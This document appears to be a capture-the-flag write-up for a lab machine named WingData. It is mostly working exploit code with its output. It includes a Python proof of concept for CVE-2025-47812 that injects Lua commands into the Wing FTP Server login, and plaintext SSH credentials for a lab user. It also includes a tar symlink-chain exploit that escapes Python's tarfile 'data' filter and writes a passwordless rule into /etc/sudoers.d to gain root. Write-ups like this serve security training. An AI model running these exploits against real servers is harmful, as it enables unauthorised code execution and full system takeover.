WingData
WingData
1/ Reconnaissance
1.1 Full TCP scan
1
2
3
4
5
nmap -Pn -p- --min-rate 2000 -T4 10.129.1.217
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1.2 Service/version scan
1
2
3
4
5
nmap -Pn -sC -sV -p22,80 10.129.1.217
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http Apache httpd 2.4.66
http-title: Did not follow redirect to http://wingdata.htb/
1.3 Resolve domain
Because this is virtual-host based, use --resolve or /etc/hosts.
1
2
curl -i --resolve wingdata.htb:80:10.129.1.217 http://wingdata.htb/
curl -i --resolve ftp.wingdata.htb:80:10.129.1.217 http://ftp.wingdata.htb/
or
1
2
echo "10.129.1.217 wingdata.htb" | sudo tee -a /etc/hosts
echo "10.129.1.217 ftp.wingdata.htb" | sudo tee -a /etc/hosts
2/ Initial Foothold (CVE-2025-47812)
2.1 Identify vulnerable version
1
2
3
curl -s --resolve ftp.wingdata.htb:80:10.129.1.217 http://ftp.wingdata.htb/login.html | rg -n "Wing FTP Server v"
Wing FTP Server v7.4.3
2.2 PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import requests, re
base = "http://10.129.1.217"
host = "ftp.wingdata.htb"
cmd = "whoami"
payload = (
f"username=anonymous%00]]%0d"
f"local+h+%3d+io.popen(\"{cmd}\")%0d"
f"local+r+%3d+h%3aread(\"*a\")%0d"
f"h%3aclose()%0dprint(r)%0d--&password="
)
headers = {
"Host": host,
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": f"http://{host}",
"Referer": f"http://{host}/login.html?lang=english",
"Cookie": "client_lang=english",
}
r = requests.post(base + "/loginok.html", headers=headers, data=payload, timeout=10)
uid = re.search(r"UID=([^;]+)", r.headers.get("Set-Cookie", "")).group(1)
r2 = requests.get(
base + "/dir.html",
headers={"Host": host, "Cookie": f"UID={uid}", "User-Agent": "Mozilla/5.0"},
timeout=10,
)
print(r2.text.split("<?xml")[0].strip())
3/ User Access
From the Wing FTP credential path:
- Username:
wacky - Password:
!#7Blushing^*Bride5
3.1 Validate SSH access
1
2
3
4
ssh wacky@10.129.1.217
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
hostname: wingdata
3.2 Retrieve user flag
1
cat /home/wacky/user.txt
4/ Privilege Escalation
4.1 Sudo rights
1
2
3
sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
4.2 Read privileged restore script
1
sed -n '1,260p' /opt/backup_clients/restore_backup_clients.py
Key observation:
- Root runs
tarfile.extractall(path=staging_dir, filter="data")on attacker-controlled tar from/opt/backup_clients/backups/backup_<id>.tar.
4.3 Privesc PoC
Run this as wacky:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
import tarfile, os, io
out = "/opt/backup_clients/backups/backup_1005.tar"
comp = "d" * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open(out, "w") as tar:
# Deep symlink chain
for i in steps:
d = tarfile.TarInfo(os.path.join(path, comp))
d.type = tarfile.DIRTYPE
tar.addfile(d)
s = tarfile.TarInfo(os.path.join(path, i))
s.type = tarfile.SYMTYPE
s.linkname = comp
tar.addfile(s)
path = os.path.join(path, comp)
# Overflow/escape path
linkpath = os.path.join("/".join(steps), "l" * 254)
t = tarfile.TarInfo(linkpath)
t.type = tarfile.SYMTYPE
t.linkname = "../" * len(steps)
tar.addfile(t)
# Escape symlink points into sudoers.d
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../../../../../etc/sudoers.d"
tar.addfile(e)
payload = b"wacky ALL=(ALL) NOPASSWD:ALL\n"
f = tarfile.TarInfo("escape/wacky")
f.type = tarfile.REGTYPE
f.mode = 0o440
f.size = len(payload)
tar.addfile(f, io.BytesIO(payload))
print("made", out)
4.5 Trigger root extraction
1
2
3
4
5
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1005.tar -r restore_test5
[+] Backup: backup_1005.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_test5
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_test5
4.6 Confirm root and read root flag
1
2
3
4
sudo -n id
sudo -n cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)